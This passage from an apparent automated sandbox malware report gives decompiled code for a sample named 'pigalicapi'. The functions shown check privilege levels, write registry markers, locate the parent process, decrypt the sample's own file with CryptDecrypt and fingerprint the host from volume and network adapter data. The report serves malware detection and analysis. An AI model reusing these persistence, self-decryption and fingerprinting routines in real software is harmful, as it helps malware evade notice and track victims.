					goto L11;
				}
				_v2080 =  &_v2068;
				_v2084 = 0x44;
				__imp__CreateWellKnownSid(0xc, 0, _v2080,  &_v2084);
				if(EqualSid(_v2080,  *_v2076) == 0) {
					__imp__CreateWellKnownSid(0x16, 0, _v2080,  &_v2084);
					if(EqualSid(_v2080,  *_v2076) == 0) {
						__imp__CreateWellKnownSid(0x17, 0, _v2080,  &_v2084);
						if(EqualSid(_v2080,  *_v2076) == 0) {
							__imp__CreateWellKnownSid(0x18, 0, _v2080,  &_v2084);
							if(EqualSid(_v2080,  *_v2076) == 0) {
								goto L11;
							}
							return 1;
						}
						return 1;
					}
					return 1;
				}
				return 1;
			}

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
EqualSid.ADVAPI32(?,00000000), ref: 04009AC3
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,00000044), ref: 04009AE6
EqualSid.ADVAPI32(?), ref: 04009AFC
CloseHandle.KERNEL32(?), ref: 04009B7A

Strings

D, xrefs: 04009A91

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Token$CreateEqualInformationKnownProcessWell$CloseCurrentHandleOpen
String ID: D
API String ID: 98007406-2746444292
Opcode ID: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction ID: 7ae4063a6f13a9051a7762c6ae15c07f15253da6e1139fe1377935b2c4657608
Opcode Fuzzy Hash: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction Fuzzy Hash: AB41F0B5A042189BEB24DF90CC45FDAB3FDFF48700F04C1E4A549A6181DE74AA81DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04005A00 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 99
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04005A00(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				void* _t27;
				void* _t33;
				CHAR* _t35;
				int _t39;
				long _t43;
				CHAR* _t51;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0x10) {
					E04007D20(_t27, "Mvqcsgcuwwini", 0, 0xe);
					lstrcpyA("Mvqcsgcuwwini", "WDefault");
					_t33 = E04005930(_a4 + 0x45b, "Mvqcsgcuwwini", 0xd); // executed
					E04007D20(_t33, _a8, 0, _a12);
					_t35 =  *0x401189c; // 0x400c4e0
					if(lstrlenA(_t35) < _a12) {
						_t51 =  *0x401189c; // 0x400c4e0
						lstrcpyA(_a8, _t51);
						_t39 = lstrlenA(_a8);
						if(_t39 + lstrlenA(?str?) < _a12) {
							lstrcatA(_a8, "Mvqcsgcuwwini");
							_v12 = 0x80000001;
							_v16 = 0;
							_v20 = 0;
							_t43 = RegCreateKeyExA(_v12, _a8, 0, 0, 0, 0x20006, 0,  &_v16,  &_v20); // executed
							if(_t43 != 0) {
								E04007D20(_t43, _a8, 0, _a12);
								lstrcpyA(_a8, "software\\microsoft\\windows\\currentversion\\uninstall");
							} else {
								RegCloseKey(_v16); // executed
							}
							_v8 = lstrlenA(_a8);
						}
					}
				}
				return _v8;
			}

APIs

lstrcpyA.KERNEL32(Mvqcsgcuwwini,WDefault), ref: 04005A47

Part of subcall function 04005930: CharUpperA.USER32(00000000), ref: 040059E2

lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
lstrlenA.KERNEL32(00000000), ref: 04005AA1
lstrlenA.KERNEL32(Mvqcsgcuwwini), ref: 04005AAE
lstrcatA.KERNEL32(00000000,Mvqcsgcuwwini), ref: 04005AC8
RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
RegCloseKey.KERNEL32(00000000), ref: 04005B0E
lstrcpyA.KERNEL32(00000000,software\microsoft\windows\currentversion\uninstall), ref: 04005B31
lstrlenA.KERNEL32(00000000), ref: 04005B3B

Strings

WDefault, xrefs: 04005A3D
software\microsoft\windows\currentversion\uninstall, xrefs: 04005B28
Mvqcsgcuwwini, xrefs: 04005A30, 04005A42, 04005A4F, 04005AA9, 04005ABF

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrlen$lstrcpy$CharCloseCreateUpperlstrcat
String ID: Mvqcsgcuwwini$WDefault$software\microsoft\windows\currentversion\uninstall
API String ID: 4161867159-611550020
Opcode ID: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction ID: 2f1465acc8a4d9a659e2af8a658b36752d7f83b1b7b92a7dc582af9786930c23
Opcode Fuzzy Hash: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction Fuzzy Hash: 40310775600208FBEB14DFA4DC49FAA37B9EB44708F04C615FA15BB281D7B8AA50CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04001CA0 Relevance: 21.1, APIs: 14, Instructions: 111
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E04001CA0(CHAR* _a4, intOrPtr _a8) {
				char _v5;
				char _v272;
				long _v284;
				intOrPtr _v300;
				void* _v308;
				void* _v312;
				long _v316;
				long _v320;
				void* _v324;
				char _v328;
				int _v332;
				void* _t44;
				int _t47;
				int _t50;
				void* _t61;

				_v5 = 0;
				_t44 = CreateToolhelp32Snapshot(2, 0); // executed
				_v312 = _t44;
				if(_v312 == 0xffffffff) {
					L18:
					return _v5;
				}
				_v308 = 0x128;
				_t47 = Process32First(_v312,  &_v308); // executed
				if(_t47 == 0) {
					L17:
					CloseHandle(_v312);
					goto L18;
				}
				_v320 = GetCurrentProcessId();
				_v316 = 0;
				while(_v300 != _v320) {
					_t50 = Process32Next(_v312,  &_v308); // executed
					if(_t50 != 0) {
						continue;
					}
					L6:
					if(_v316 != 0 && Process32First(_v312,  &_v308) != 0) {
						while(_v300 != _v316) {
							if(Process32Next(_v312,  &_v308) != 0) {
								continue;
							}
							goto L17;
						}
						if(lstrlenA( &_v272) < _a8) {
							lstrcpyA(_a4,  &_v272);
							_v324 = OpenProcess(0x410, 0, _v316);
							if(_v324 != 0) {
								_v332 = 0;
								_push( &_v332);
								_push(4);
								_push( &_v328);
								_t61 = _v324;
								_push(_t61); // executed
								L0400B1D4(); // executed
								if(_t61 == 0) {
									_push(_a8);
									_push(_a4);
									_push(_v324); // executed
									L0400B1C8(); // executed
								} else {
									_push(_a8);
									_push(_a4);
									_push(_v328);
									_push(_v324);
									L0400B1CE();
								}
								_v5 = 1;
								FindCloseChangeNotification(_v324); // executed
							}
						}
					}
					goto L17;
				}
				_v316 = _v284;
				goto L6;
			}

0x04001ca9
0x04001cb1
0x04001cb6
0x04001cc3
0x04001e51
0x04001e57
0x04001e57
0x04001cc9
0x04001ce1
0x04001ce8
0x04001e44
0x04001e4b
0x00000000
0x04001e4b
0x04001cf4
0x04001cfa
0x04001d04
0x04001d2e
0x04001d35
0x00000000
0x00000000
0x04001d37
0x04001d3e
0x04001d5f
0x04001e3e
0x00000000
0x00000000
0x00000000
0x04001e3e
0x04001d81
0x04001d92
0x04001dac
0x04001db9
0x04001dbb
0x04001dcb
0x04001dcc
0x04001dd4
0x04001dd5
0x04001ddb
0x04001ddc
0x04001de3
0x04001e05
0x04001e09
0x04001e10
0x04001e11
0x04001de5
0x04001de8
0x04001dec
0x04001df3
0x04001dfa
0x04001dfb
0x04001dfb
0x04001e16
0x04001e21
0x04001e21
0x04001db9
0x04001e27
0x00000000
0x04001d3e
0x04001d18
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
GetCurrentProcessId.KERNEL32 ref: 04001CEE
Process32Next.KERNEL32 ref: 04001D2E
Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
GetProcessImageFileNameA.PSAPI(00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E11
FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Process32Next.KERNEL32 ref: 04001E37
CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: ProcessProcess32$CloseFileFirstNameNext$ChangeCreateCurrentEnumFindHandleImageModuleModulesNotificationOpenSnapshotToolhelp32lstrcpylstrlen
String ID:
API String ID: 384183238-0
Opcode ID: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction ID: c9fd9719e36fb5edb768dae97ebace1d15885c7ece39cbb3db7519296d7591e9
Opcode Fuzzy Hash: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction Fuzzy Hash: 9641DC719002189BEB65DF94CD84BEDB7B9AB48304F0086D8E60DB6180DB75BE84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04005F30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005F30() {
				char* _v8;
				signed int _v9;
				void* _v16;
				void* _v20;
				char _v284;
				int _v288;
				int _v292;
				char _v324;
				int _v328;
				char* _t27;
				CHAR* _t30;
				long _t33;
				long _t37;

				_v9 = 0;
				_t27 =  *0x40118a0; // 0x4013b88
				_v8 = _t27;
				E04007D20(_t27,  &_v284, 0, 0x104);
				lstrcpyA( &_v284, "pigalicapi");
				_t30 =  *0x4011898; // 0x4013fe2
				lstrcatA( &_v284, _t30);
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v292 = 0x20;
					_v288 = 0x20;
					_t37 = RegQueryValueExA(_v20,  &_v284, 0, 0,  &_v324,  &_v288); // executed
					if(_t37 == 0) {
						_v9 = 1;
					}
					_t47 = _v9 & 0x000000ff;
					if((_v9 & 0x000000ff) == 0) {
						_v328 = 0x10;
						E04009BD0(_t47,  &_v324, 0x10);
						RegSetValueExA(_v20,  &_v284, 0, 3,  &_v324, 0x10);
					}
					RegCloseKey(_v20);
				}
				return _v9;
			}

APIs

lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
RegOpenKeyExA.KERNEL32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
RegCloseKey.ADVAPI32(00000000), ref: 04006045

Strings

, xrefs: 04005FCB
, xrefs: 04005FC1
pigalicapi, xrefs: 04005F5B

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseOpenQuerylstrcatlstrcpy
String ID: $ $pigalicapi
API String ID: 764223185-550099112
Opcode ID: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction ID: d868066335aa3bc34e1d01a835705104c70e08da6b50357c6a08ba3ec109f492
Opcode Fuzzy Hash: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction Fuzzy Hash: 6F3143B194021CABEB14CF90DC45FFEB7B8EB08704F048598EB04B6181D7B96A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04004096 Relevance: 15.1, APIs: 10, Instructions: 121
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004096() {
				void _t92;
				void* _t114;
				void* _t161;
				void* _t163;
				void* _t166;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t161 - 0x38)) =  *((intOrPtr*)(_t161 - 0x38)) + 1;
					if( *((intOrPtr*)(_t161 - 0x38)) >=  *((intOrPtr*)(_t161 + 0x14))) {
						break;
					}
					L2:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000);
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					_t171 =  *(_t161 - 0x34);
					if( *(_t161 - 0x34) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
						 *(_t161 - 0x34) = 0;
					}
					ResetEvent( *(_t161 - 0x10));
					LeaveCriticalSection(_t161 - 0x28);
					_t92 = CreateThread(0, 0, E04004AC0, _t161 - 0x34, 0, 0); // executed
					 *(_t161 - 0x34) = _t92;
					 *(_t161 - 0x64) = E040097A0( ~(0 | _t171 > 0x00000000) |  *(_t161 + 0x18) * 0x00000004);
					 *(_t161 - 0x3c) =  *(_t161 - 0x64);
					E04007D20( *(_t161 - 0x64),  *(_t161 - 0x3c), 0,  *(_t161 + 0x18) << 2);
					_t166 = _t163 + 0x10;
					 *(_t161 - 0x60) = 0;
					L8:
					while( *(_t161 - 0x60) <  *(_t161 + 0x18)) {
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = 0;
						E04007D20( *(_t161 - 0x3c), _t161 - 0x58, 0, 0x1c);
						_t166 = _t166 + 0xc;
						 *((intOrPtr*)(_t161 - 0x40)) = _t161 - 0x34;
						 *((intOrPtr*)(_t161 - 0x44)) =  *((intOrPtr*)(_t161 + 0x10));
						 *(_t161 - 0x58) =  *(_t161 + 8);
						 *(_t161 - 0x50) =  *(_t161 - 0x60) *  *(_t161 - 8);
						if( *(_t161 - 0x60) >=  *(_t161 + 0x18) - 1) {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *((intOrPtr*)(_t161 + 0xc)) - 1;
						} else {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *(_t161 - 0x50) +  *(_t161 - 8) - 1;
						}
						 *(_t161 - 0x48) = CreateEventA(0, 1, 0, 0);
						_t114 = CreateThread(0, 0, E04004BA0, _t161 - 0x58, 0, 0); // executed
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = _t114;
						WaitForSingleObject( *(_t161 - 0x48), 0xffffffff);
						FindCloseChangeNotification( *(_t161 - 0x48)); // executed
						 *(_t161 - 0x60) =  *(_t161 - 0x60) + 1;
					}
					WaitForMultipleObjects( *(_t161 + 0x18),  *(_t161 - 0x3c), 1, 0xffffffff);
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x10), 0x2710);
					if( *((intOrPtr*)(_t161 - 0x5c)) == 0) {
						 *(_t161 - 1) = 1;
					}
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x34), 0x3e8);
					if( *((intOrPtr*)(_t161 - 0x5c)) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
					}
					L17:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000); // executed
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					L19:
					LeaveCriticalSection(_t161 - 0x28);
					 *(_t161 - 0x68) =  *(_t161 - 0x3c);
					E040097C0( *(_t161 - 0x68));
					if(( *(_t161 - 1) & 0x000000ff) == 0) {
						L21:
						continue;
					}
					break;
				}
				L22:
				DeleteCriticalSection(_t161 - 0x28);
				return  *(_t161 - 1);
			}

APIs

EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CreateCriticalSectionThread$Event$ChangeCloseDeleteEnterFindFreeLeaveNotificationObjectResetSingleTerminateVirtualWait
String ID:
API String ID: 371823443-0
Opcode ID: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction ID: 702011c11570e1e92260a3d6b56584955ffb64453fe6a6bb8e3d44d087611259
Opcode Fuzzy Hash: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction Fuzzy Hash: 0E51D7B5A40308AFEB18DF94D899BDDBBB1FB48704F108219F605BB2C0D774A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04004510 Relevance: 13.7, APIs: 9, Instructions: 173
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004510(intOrPtr _a4, intOrPtr _a8) {
				char _v5;
				char _v780;
				void* _v784;
				char _v1308;
				long _v1312;
				void* _v1316;
				long _v1320;
				intOrPtr _v1324;
				intOrPtr _v1328;
				signed int _v1332;
				intOrPtr _v1336;
				intOrPtr _v1340;
				intOrPtr _v1344;
				void* _t90;
				void* _t94;
				int _t97;
				signed char _t101;
				signed char _t114;
				void* _t153;
				void* _t155;
				void* _t156;

				_v5 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L24:
					return _v5;
				} else {
					E04007D20(E04007D20( &_v780,  &_v780, 0, 0x300),  &_v1308, 0, 0x208);
					_t155 = _t153 + 0x18;
					GetModuleFileNameA(0,  &_v1308, 0x208);
					_t90 = CreateFileA( &_v1308, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v784 = _t90;
					if(_v784 == 0xffffffff) {
						goto L24;
					}
					_v1312 = GetFileSize(_v784, 0);
					if(_v1312 == 0) {
						L22:
						if(_v784 != 0) {
							CloseHandle(_v784);
						}
						goto L24;
					}
					_t94 = VirtualAlloc(0, _v1312, 0x3000, 4); // executed
					_v1316 = _t94;
					if(_v1316 == 0) {
						goto L22;
					}
					_v1320 = 0;
					_t97 = ReadFile(_v784, _v1316, _v1312,  &_v1320, 0); // executed
					if(_t97 == 0 || _v1320 != _v1312) {
						L20:
						if(_v1316 != 0) {
							VirtualFree(_v1316, 0, 0x8000);
							_v1316 = 0;
						}
						goto L22;
					} else {
						FindCloseChangeNotification(_v784); // executed
						_v784 = 0;
						_t101 = E040047F0(_v1316, _v1312, _a8); // executed
						_t156 = _t155 + 0xc;
						if((_t101 & 0x000000ff) == 0) {
							if(_v1316 != 0) {
								VirtualFree(_v1316, 0, 0x8000); // executed
								_v1316 = 0;
							}
							_v1328 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
							_v1324 = _v1328 + ( *(_v1328 + 0x14) & 0x0000ffff) + 0x18;
							_v1332 = 0;
							while(_v1332 < ( *(_v1328 + 6) & 0x0000ffff)) {
								_v1336 =  *((intOrPtr*)(_v1324 + 0xc + _v1332 * 0x28)) + _a4;
								if( *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28)) <=  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28))) {
									_v1344 =  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28));
								} else {
									_v1344 =  *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28));
								}
								_v1340 = _v1344;
								_t114 = E040047F0(_v1336, _v1340, _a8); // executed
								_t156 = _t156 + 0xc;
								if((_t114 & 0x000000ff) == 0) {
									_v1332 = _v1332 + 1;
									continue;
								} else {
									_v5 = 1;
									goto L20;
								}
							}
							goto L20;
						}
						_v5 = 1;
						goto L20;
					}
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E

Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
Part of subcall function 040047F0: GetLastError.KERNEL32 ref: 04004834
Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
Part of subcall function 040047F0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
Part of subcall function 040047F0: CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
Part of subcall function 040047F0: CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
Part of subcall function 040047F0: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
Part of subcall function 040047F0: CryptDestroyKey.ADVAPI32(00000000), ref: 04004982

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400468F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
CloseHandle.KERNEL32(00000000), ref: 040047E0

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$File$Virtual$AcquireCloseContextCreateFreeHash$AllocChangeDataDecryptDeriveDestroyErrorFindHandleLastModuleNameNotificationReadSize
String ID:
API String ID: 2585753175-0
Opcode ID: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction ID: c94ea80790bf0b6d8dbf2583483555f7aa9864fa89971da120b97b62dce4532c
Opcode Fuzzy Hash: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction Fuzzy Hash: 92815D74A056189BEB64CF14DC94BAAB7B4AF49306F0091D9E608BB2C1D774ABC1CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04009D20 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 133
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009D20(intOrPtr _a4, CHAR* _a8, int _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				char _v292;
				intOrPtr _v296;
				char _v404;
				long _v408;
				char _v673;
				char _v676;
				intOrPtr _v680;
				long _v684;
				signed int _v688;
				short* _v692;
				signed int _v696;
				unsigned int _v700;
				intOrPtr _v704;
				char _v900;
				signed int _v904;
				signed int _v908;
				int _v912;
				int _t71;
				void* _t74;
				short** _t76;
				void* _t114;

				_v5 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_v12 = 0x20;
					_v24 = 6;
					_v684 = 0;
					_v20 = 0;
					_v408 = 0;
					_v16 = 0x19660d;
					_v296 = 0x3c6ef35f;
					_v680 = _a4;
					if(GetSystemDirectoryA( &_v676, 0x103) != 0) {
						_v673 = 0;
						_t71 = GetVolumeInformationA( &_v676,  &_v292, 0x103,  &_v684,  &_v20,  &_v408,  &_v404, 0x63); // executed
						if(_t71 != 0) {
							_v688 = 0xffffffff;
							E04007D20(_t71,  &_v900, 0, 0xc0);
							_v700 = 0;
							_t74 = E04009F70( &_v900, 0xc0,  &_v700); // executed
							if(_t74 != 0) {
								_v904 = 0;
								while(_v904 < _v700 >> 2) {
									_v688 = _v688 ^  *(_t114 + _v904 * 4 - 0x380);
									_v904 = _v904 + 1;
								}
							}
							_v696 = _v684;
							_v908 = 0;
							while(_v908 < 4) {
								 *(_v680 + _v908 * 4) = 0x3c6ef35f + _v696 * 0x0019660d ^ _v688;
								_v696 = 0x3c6ef35f + _v696 * 0x19660d;
								_v908 = _v908 + 1;
							}
							_t76 =  &_v692;
							__imp__StringFromCLSID(_a4, _t76); // executed
							_v704 = _t76;
							if(_v704 >= 0) {
								_v912 = WideCharToMultiByte(0, 0, _v692, 0xffffffff, _a8, _a12, 0, 0);
								lstrcpynA(_a8,  &(_a8[1]), _v912 - 2);
								_v5 = 1;
							}
							__imp__CoTaskMemFree(_v692);
						}
					}
				}
				return _v5;
			}

APIs

GetSystemDirectoryA.KERNEL32 ref: 04009D9A
GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD

Part of subcall function 04009F70: GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

StringFromCLSID.OLE32(00000020,?), ref: 04009EF7
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,0019660D,00000000,00000000,00000000), ref: 04009F25
lstrcpynA.KERNEL32(0019660D,0019660C,?), ref: 04009F46
CoTaskMemFree.OLE32(?), ref: 04009F57

Strings

, xrefs: 04009D4B

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: AdaptersByteCharDirectoryFreeFromInfoInformationMultiStringSystemTaskVolumeWidelstrcpyn
String ID:
API String ID: 2697952880-3916222277
Opcode ID: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction ID: 5e89223982a4db5088977870fe710af53f8bde251be69ccbe6f0708d183867dd
Opcode Fuzzy Hash: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction Fuzzy Hash: 695139B0A043189FEB25CF50CC88BEAB7B9BB44304F14C2D9E5096A281DB74AB84CF51

Uniqueness

Uniqueness Score: -1.00%

